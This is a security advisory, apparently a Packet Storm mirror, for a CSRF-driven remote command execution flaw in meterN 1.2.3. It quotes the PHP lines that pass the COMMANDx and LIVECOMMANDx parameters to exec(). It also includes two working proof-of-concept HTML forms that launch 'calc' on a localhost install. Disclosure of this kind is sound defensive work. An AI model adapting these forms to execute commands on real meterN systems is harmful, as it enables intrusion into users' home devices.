meterN 1.2.3 Remote Command Execution

🗓️ 14 Dec 2021 00:00:00Reported by LiquidWorm, zeroscience.mkType
packetstorm🔗 packetstormsecurity.com👁 276 Views
meterN 1.2.3 Remote Command Execution Vulnerabilit
`<!--  
  
meterN v1.2.3 Authenticated Remote Command Execution Vulnerability  
  
  
Vendor: Jean-Marc Louviaux  
Product web page: https://www.metern.org  
Affected version: 1.2.3 and 0.8.3.2  
  
  
Summary: meterN is a set of PHP/JS files that make a -Home energy metering & monitoring- solution.  
It accept any meters like : electrical, water, gas, fuel consumption, solar, Wind energy production  
and so on. Sensors such as temperature or humidity are also accepted. The philosophy is: To keep it  
simple, fast, with a low foot print to run on cheap and low powered devices.  
  
Desc: The application suffers from an authenticated OS command execution vulnerability. This can be  
exploited to execute arbitrary commands through the 'COMMANDx' and 'LIVECOMMANDx' POST parameters in  
admin_meter2.php and admin_indicator2.php scripts. The application interface allows users to perform  
these actions through HTTP requests without performing any validity checks to verify the requests.  
This CSRF can be exploited to perform actions with administrative privileges if a logged-in user  
visits a malicious web site.  
  
---------------------------------------------------------------------------------------------------  
/admin/admin_meter2.php:  
------------------------  
  
69: if (!empty($_POST['COMMANDx']) && is_string($_POST['COMMANDx'])) {  
70: $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES, 'UTF-8');  
71: } else {  
72: $COMMANDx = '';  
73: }  
...  
...  
108: if (!empty($_POST['LIVECOMMANDx']) && is_string($_POST['LIVECOMMANDx'])) {  
109: $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'], ENT_QUOTES, 'UTF-8');  
110: } else {  
111: $LIVECOMMANDx = '';  
112: }  
...  
...  
271: exec("$COMMANDx 2>&1", $datareturn);  
...  
...  
303: exec("$LIVECOMMANDx 2>&1", $datareturn);  
  
---------------------------------------------------------------------------------------------------  
  
Tested on: Apache/2.4.10 (Raspbian)  
Apache/2.4.46 (Win64)  
Linux 4.9.67-v7+ GNU/Linux (armv7l)  
Microsoft Windows 10 Home (10.0.19042 Build 19042)  
PHP/7.2.33  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5690  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php  
  
  
18.11.2021  
  
-->  
  
  
PoC #1:  
-------  
  
<html>  
<body>  
<form action="http://localhost/metern/admin/admin_indicator2.php" method="POST">  
<input type="hidden" name="NUMINDx" value="1" />  
<input type="hidden" name="INDNAMEx1" value="test" />  
<input type="hidden" name="IDx1" value="1" />  
<input type="hidden" name="COMMANDx1" value="calc" />  
<input type="hidden" name="bntsubmit1" value="Test command" />  
<input type="hidden" name="UNITx1" value="" />  
<input type="submit" value="Incongruity" />  
</form>  
</body>  
</html>  
  
  
PoC #2:  
-------  
  
<html>  
<body>  
<form action="http://localhost/metern/admin/admin_meter2.php" method="POST">  
<input type="hidden" name="METNAMEx" value="Conso" />  
<input type="hidden" name="COLORx" value="962629" />  
<input type="hidden" name="TYPEx" value="Elect" />  
<input type="hidden" name="PRODx" value="2" />  
<input type="hidden" name="PHASEx" value="1" />  
<input type="hidden" name="SKIPMONITORINGx" value="" />  
<input type="hidden" name="IDx" value="elect" />  
<input type="hidden" name="COMMANDx" value="houseenergy -energy" />  
<input type="hidden" name="PASSOx" value="100000" />  
<input type="hidden" name="PRICEx" value="0.23" />  
<input type="hidden" name="LIDx" value="elect" />  
<input type="hidden" name="LIVECOMMANDx" value="calc" />  
<input type="hidden" name="bntsubmit" value="Test live command" />  
<input type="hidden" name="EMAILx" value="" />  
<input type="hidden" name="WARNCONSODx" value="15000" />  
<input type="hidden" name="NORESPMx" value="true" />  
<input type="hidden" name="POAKEYx" value="" />  
<input type="hidden" name="POUKEYx" value="" />  
<input type="hidden" name="TLGRTOKx" value="" />  
<input type="hidden" name="TLGRCIDx" value="" />  
<input type="hidden" name="met_numx" value="1" />  
<input type="submit" value="Incongruity" />  
</form>  
</body>  
</html>  
`
14 Dec 2021 00:00Current
7.4High risk
Vulners AI Score7.4